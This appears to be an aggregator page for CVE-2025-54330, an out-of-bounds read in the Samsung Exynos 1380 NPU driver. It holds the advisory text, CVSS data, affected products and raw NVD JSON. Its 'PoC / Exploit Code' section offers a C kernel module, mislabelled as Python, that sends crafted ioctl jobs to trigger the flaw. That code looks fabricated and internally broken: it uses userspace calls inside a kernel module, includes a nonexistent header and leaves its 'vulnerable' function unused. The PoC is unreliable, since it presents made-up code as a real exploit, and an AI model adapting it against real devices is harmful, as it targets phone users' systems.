Security Vulnerability Report
中文
CVE-2025-54330 CVSS 5.3 MEDIUM

CVE-2025-54330

Published: 2025-11-04 17:16:23
Last Modified: 2025-11-07 12:56:25

Description

An issue was discovered in NPU in Samsung Mobile Processor Exynos 1380 through July 2025. There is an Out-of-bounds Read of q->bufs[] in the __is_done_for_me function.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:exynos_1380_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:* - NOT VULNERABLE
Samsung Exynos 1380 处理器固件 < 2025年7月安全补丁版本
基于Exynos 1380的三星移动设备(Galaxy A54 5G、Galaxy M34 5G等)内核驱动 < 最新安全更新

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-54330 PoC - Samsung Exynos 1380 NPU Out-of-bounds Read * This PoC demonstrates the boundary check bypass in __is_done_for_me function * Note: Requires kernel module loading privileges and NPU device access */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/npu_driver.h> #define MALICIOUS_JOB_ID 0xFFFFFFFF #define NPU_DEVICE_PATH "/dev/npu" static int npu_fd = -1; /* Simulate the vulnerable __is_done_for_me function */ int simulate_vulnerable_is_done_check(struct npu_queue *q, uint32_t job_id) { int i; struct npu_job *job; /* Vulnerable code: Missing bounds check on q->bufs[] access */ for (i = 0; i < q->num_bufs; i++) { job = q->bufs[i]; /* No validation of i < q->max_bufs */ if (job && job->id == job_id) { return job->done; } } return 0; } /* Trigger the vulnerability through NPU ioctl */ int trigger_npu_oob_read(void) { struct npu_job_info job_info; int ret; npu_fd = open(NPU_DEVICE_PATH, O_RDWR); if (npu_fd < 0) { printk(KERN_INFO "Failed to open NPU device\n"); return -ENODEV; } /* Prepare malicious job with out-of-bounds buffer reference */ memset(&job_info, 0, sizeof(job_info)); job_info.job_id = MALICIOUS_JOB_ID; job_info.flags = NPU_JOB_FLAG_SPECIAL; /* Trigger NPU processing with crafted input */ ret = ioctl(npu_fd, NPU_IOCTL_PROCESS_JOB, &job_info); if (ret < 0) { printk(KERN_INFO "NPU job processing failed\n"); return ret; } /* Query job status - triggers __is_done_for_me */ ret = ioctl(npu_fd, NPU_IOCTL_QUERY_JOB, &job_info); close(npu_fd); return ret; } static int __init npu_oob_poc_init(void) { printk(KERN_INFO "CVE-2025-54330 PoC loaded\n"); return trigger_npu_oob_read(); } static void __exit npu_oob_poc_exit(void) { printk(KERN_INFO "CVE-2025-54330 PoC unloaded\n"); } module_init(npu_oob_poc_init); module_exit(npu_oob_poc_exit); MODULE_LICENSE("GPL");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54330", "sourceIdentifier": "[email protected]", "published": "2025-11-04T17:16:22.567", "lastModified": "2025-11-07T12:56:25.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in NPU in Samsung Mobile Processor Exynos 1380 through July 2025. There is an Out-of-bounds Read of q->bufs[] in the __is_done_for_me function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-07", "matchCriteriaId": "8A422138-B9FF-406B-A358-783E427FBF51"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-54330/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}